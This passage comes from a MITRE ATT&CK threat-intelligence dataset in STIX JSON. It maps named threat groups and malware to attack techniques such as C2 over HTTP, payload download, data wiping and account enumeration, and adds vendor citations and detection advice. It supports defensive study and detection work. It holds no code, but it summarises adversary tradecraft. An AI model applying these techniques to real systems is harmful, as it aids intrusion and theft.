Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}], "modified": "2019-06-28T20:48:52.483Z", "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can load a DLL using the LoadLibrary API.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "relationship_type": "uses", "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--16446d10-cf55-4e1e-bbf8-7ce6b8a2fb2b", "type": "relationship", "created": "2022-02-18T16:58:12.012Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}], "modified": "2022-02-18T16:58:12.012Z", "description": "[QuietSieve](https://attack.mitre.org/software/S0686) can download and execute payloads on a target host.(Citation: Microsoft Actinium February 2022)", "relationship_type": "uses", "source_ref": "malware--03eb4a05-6a02-43f6-afb7-3c7835501828", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1646da26-9846-4a24-b9a6-59ebad8c9cb5", "type": "relationship", "created": "2021-01-27T21:26:53.128Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET EvilNum July 2020", "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}], "modified": "2021-01-27T21:26:53.128Z", "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has used a component called TerraLoader to check certain hardware and file information to detect sandboxed environments. (Citation: ESET EvilNum July 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--164aec0b-1e3e-4e79-b9c3-43d602a1674a", "type": "relationship", "created": "2019-06-18T17:20:43.762Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black JCry May 2019", "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/", "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}], "modified": "2019-06-30T23:03:26.143Z", "description": "[JCry](https://attack.mitre.org/software/S0389) has encrypted files and demanded Bitcoin to decrypt those files. (Citation: Carbon Black JCry May 2019)", "relationship_type": "uses", "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--164bf2ab-9c45-4cdc-8ecb-43bbe81da86b", "created": "2024-02-15T14:17:21.661Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-15T14:17:21.662Z", "description": "Monitor for newly constructed containers that repeatedly execute malicious payloads as part of persistence or privilege escalation.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--164bf82a-10bf-4a6d-b43c-70ff11f60229", "type": "relationship", "created": "2021-10-12T20:34:01.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Netscout Stolen Pencil Dec 2018", "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}, {"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}], "modified": "2022-02-09T15:31:24.063Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has obtained and used tools such as Nirsoft WebBrowserPassVIew, [Mimikatz](https://attack.mitre.org/software/S0002), and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: Talos Kimsuky Nov 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--16510fcf-70a0-4da5-9b80-f4772abca436", "created": "2023-10-05T12:38:44.251Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sygnia Elephant Beetle Jan 2022", "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.", "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}, {"source_name": "Mandiant FIN13 Aug 2022", "description": "Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.", "url": "https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-06T12:53:47.751Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) can identify user accounts associated with a Service Principal Name and query Service Principal Names within the domain by utilizing the following scripts: `GetUserSPNs.vbs` and `querySpn.vbs`.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1652b967-e96f-4c3f-839e-2c7e07b248a7", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", "source_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3", "target_ref": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1652bf3a-085a-4388-839a-04858b14affd", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "source_name": "Unit 42 QUADAGENT July 2018"}], "modified": "2019-09-04T22:55:41.903Z", "description": "(Citation: Unit 42 QUADAGENT July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--165b8698-8d09-4602-9385-c5002c3eb46e", "type": "relationship", "created": "2022-03-16T19:21:16.583Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA416 Europe March 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}], "modified": "2022-03-16T19:21:16.583Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has hosted malicious payloads on DropBox including [PlugX](https://attack.mitre.org/software/S0013).(Citation: Proofpoint TA416 Europe March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--16632684-1ef3-41bb-9ef1-97c6c3294448", "type": "relationship", "created": "2021-05-10T23:54:36.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mcafee Clop Aug 2019", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/", "description": "Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}, {"source_name": "Cybereason Clop Dec 2020", "url": "https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware", "description": "Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}], "modified": "2021-05-11T16:29:08.588Z", "description": "[Clop](https://attack.mitre.org/software/S0611) has used built-in API functions such as WNetOpenEnumW(), WNetEnumResourceW(), WNetCloseEnum(), GetProcAddress(), and VirtualAlloc().(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)", "relationship_type": "uses", "source_ref": "malware--cad3ba95-8c89-4146-ab10-08daa813f9de", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--166326b3-6864-4667-aee9-4d7b24cc75d8", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT34 July 2019", "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"}, {"source_name": "FireEye APT34 Webinar Dec 2017", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}, {"source_name": "Unit42 OilRig Playbook 2023", "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.", "url": "https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T20:28:14.244Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used HTTP for C2.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--16632790-94dc-40ce-9c0a-2f6af0f691b1", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Palo Alto Gamaredon Feb 2017", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017."}, {"source_name": "Symantec Shuckworm January 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can use `cmd.exe` for execution on victim systems.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)", "modified": "2022-04-18T18:15:20.299Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--166836f7-8e31-4b80-bcab-61382bc79ad0", "created": "2024-02-22T22:49:23.986Z", "revoked": false, "external_references": [{"source_name": "Rostovcev APT41 2021", "description": "Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.", "url": "https://www.group-ib.com/blog/apt41-world-tour-2021/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-22T22:49:23.986Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) used <code>net group</code> commands to enumerate various Windows user groups and permissions.(Citation: Rostovcev APT41 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--166c430d-0272-4dca-8d30-318cda0a0a63", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"}], "modified": "2020-11-23T17:03:38.801Z", "description": "A system info module in [CozyCar](https://attack.mitre.org/software/S0046) gathers information on the victim host\u2019s configuration.(Citation: F-Secure CozyDuke)", "relationship_type": "uses", "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--16713b63-7fe7-41e0-b157-2d26a406881b", "created": "2023-03-17T15:08:19.461Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Lazarus Jul 2020", "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T16:39:06.721Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) placed LNK files into the victims' startup folder for persistence.(Citation: McAfee Lazarus Jul 2020) ", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--16749b64-2091-43d5-a76f-d6f8f98c5bf4", "type": "relationship", "created": "2019-06-24T13:48:13.700Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", "description": "Nunez, N. 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(2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.491Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to download files from the infected host to the command and control (C2) server.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--167d7b11-01f3-42d5-bb8a-78306dc80243", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft SIR Vol 19", "description": "Anthe, C. et al. (2015, October 19). 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Retrieved August 19, 2015.", "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T17:51:20.405Z", "description": "Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.(Citation: FireEye APT28)(Citation: ESET Sednit Part 2)(Citation: Microsoft SIR Vol 19)", "relationship_type": "uses", "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--167e1e15-1fe1-4073-aac1-062557fdd79f", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft SIR Vol 19", "description": "Anthe, C. et al. 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Retrieved December 18, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Industroyer](https://attack.mitre.org/software/S0604)\u2019s data wiper module clears registry keys and overwrites both ICS configuration and Windows files.(Citation: Dragos Crashoverride 2017)", "modified": "2022-06-30T20:16:22.961Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--168ab4a2-db4d-4d64-9951-6547145aabe6", "created": "2019-06-04T19:48:14.179Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Fidelis njRAT June 2013", "description": "Fidelis Cybersecurity. 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Retrieved September 23, 2021."}], "modified": "2021-09-27T19:32:34.021Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used HTTP for C2.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1694d196-8f00-44ee-802f-274a2c566a15", "type": "relationship", "created": "2021-03-31T12:48:05.883Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Content trust in Docker", "url": "https://docs.docker.com/engine/security/trust/content_trust/", "description": "Docker. (2019, October 10). Content trust in Docker. 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NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-06-29T15:14:57.693Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) has the ability to uninstall itself by deleting its service and files.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--16b915ff-7bf5-4032-b39a-9c8073847d77", "type": "relationship", "created": "2020-06-16T17:53:18.787Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). 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Retrieved May 12, 2020."}], "modified": "2020-05-15T18:47:04.505Z", "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) used the Windows function <code>GetExtendedUdpTable</code> to detect connected UDP endpoints.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--16c2e736-30e0-4ecb-8f7f-b89b9a983b4a", "created": "2022-03-30T14:26:51.856Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Docker Images", "url": "https://docs.docker.com/engine/reference/commandline/images/", "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.", "modified": "2022-04-14T13:16:37.472Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--16c64146-61e6-4be5-bdc3-1fa97870a080", "created": "2022-02-02T16:36:53.744Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "AADInternals Documentation", "url": "https://o365blog.com/aadinternals", "description": "Dr. Nestori Syynimaa. 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Retrieved February 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[AADInternals](https://attack.mitre.org/software/S0677) can enumerate information about a variety of cloud services, such as Office 365 and Sharepoint instances or OpenID Configurations.(Citation: AADInternals Documentation)", "modified": "2022-04-13T14:18:37.825Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756", "target_ref": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--16c7058c-8fa5-4477-8332-9e76fcb38924", "type": "relationship", "created": "2017-05-31T21:33:27.071Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. 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Retrieved December 2, 2021."}], "modified": "2021-12-02T16:06:56.125Z", "description": "[TinyTurla](https://attack.mitre.org/software/S0668) has the ability to encrypt C2 traffic with SSL/TLS.(Citation: Talos TinyTurla September 2021)", "relationship_type": "uses", "source_ref": "malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--16d19ac1-de53-44e2-9139-32b0e0525b0c", "type": "relationship", "created": "2020-11-30T21:38:24.612Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. 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Retrieved November 18, 2020."}], "modified": "2020-11-30T21:38:24.612Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can enumerate remote systems using <code> Net View</code>.(Citation: Cybereason Bazar July 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 